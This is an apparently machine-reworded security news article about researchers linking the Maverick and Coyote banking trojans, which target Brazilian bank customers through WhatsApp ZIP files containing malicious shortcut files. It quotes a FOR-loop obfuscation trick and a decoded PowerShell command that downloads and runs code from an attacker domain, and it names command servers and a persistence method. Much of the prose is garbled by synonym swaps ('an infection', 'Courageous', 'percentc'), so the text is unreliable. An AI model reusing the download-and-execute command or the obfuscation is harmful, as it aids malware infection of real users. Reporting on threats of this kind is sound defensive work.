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Researchers Uncover the Strong Links Between Maverick and Coyote Banking Malwares

Posted on November 11, 2025November 11, 2025 By CWS

Safety researchers from CyberProof have found vital connections between two superior banking trojans focusing on Brazilian customers and monetary establishments.

The Maverick banking malware, recognized by way of suspicious file downloads by way of WhatsApp, shares exceptional similarities with the sooner reported Coyote malware marketing campaign.

Each threats make use of subtle an infection chains and display almost similar behavioral patterns.

The invention emerged when CyberProof safety analysts recognized incidents involving malicious file downloads by way of WhatsApp.

Investigation revealed these threats make the most of .NET frameworks and deploy multi-stage an infection starting with hyperlink information spawning PowerShell instructions.

Each malware households goal Brazilian banks, make use of comparable encryption to decrypt banking URLs, and display almost similar monitoring routines.

The assault begins when victims obtain ZIP information by way of WhatsApp containing malicious LNK shortcut information. Upon execution, these deploy closely obfuscated PowerShell instructions designed to evade detection.

CyberProof safety researchers famous that malware constructs instructions by way of advanced FOR loops, splitting executable names and parameters into fragments to bypass monitoring.

Malicious ZIP file downloaded from WhatsApp net (Supply – CyberProof)

The an infection demonstrates subtle evasion strategies. The malware employs Base64 and UTF-16LE encoding mixed with string concatenation to reconstruct malicious PowerShell instructions. One analyzed pattern confirmed the next obfuscation sample:-

for %y in (pow) do for %c in (er) do for %V in (shel)
do for %q in (1.e) do for %A in (xe) do
%ypercentcpercentVpercentqpercentA → powershell.exe

Variables and values assigned within the for loop (Supply – CyberProof)

As soon as decoded, the PowerShell command contacts attacker-controlled infrastructure to obtain extra payloads.

The decoded command establishes connections to malicious domains for additional an infection.

powershell.exe -w hid -enc IEX (New-Object Internet.WebClient).
DownloadString(‘hxxps://zapgrande[.]com/api/itbi/BrDLwQ4tU70z’)

Working of for loop of the script (Supply – CyberProof)

Persistence and Detection Evasion

The malware establishes persistence by dropping batch information within the Home windows startup folder utilizing a naming sample of HealthApp- adopted by GUID and .bat extension.

This creates outbound connections to command servers at domains like sorvetenopote[.]com and zapgrande[.]com.

The Maverick agent performs intensive sufferer profiling earlier than executing banking theft performance.

It checks Brazilian timezone settings, locale configurations, regional settings, and date codecs. The malware terminates itself if standards usually are not met, guaranteeing operation inside supposed geography.

Each Maverick and Coyote make use of AES encryption with GZIP compression in CBC mode to decrypt saved banking URLs from Base64 strings.

This encryption similarity, mixed with almost similar banking monitoring code, strongly suggests shared improvement origins. The malware screens browsers together with Chrome, Firefox, Edge, Opera, and Courageous for connections to over 50 Brazilian monetary establishments.

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Cyber Security News Tags:Banking, Coyote, Links, Malwares, Maverick, Researchers, Strong, Uncover

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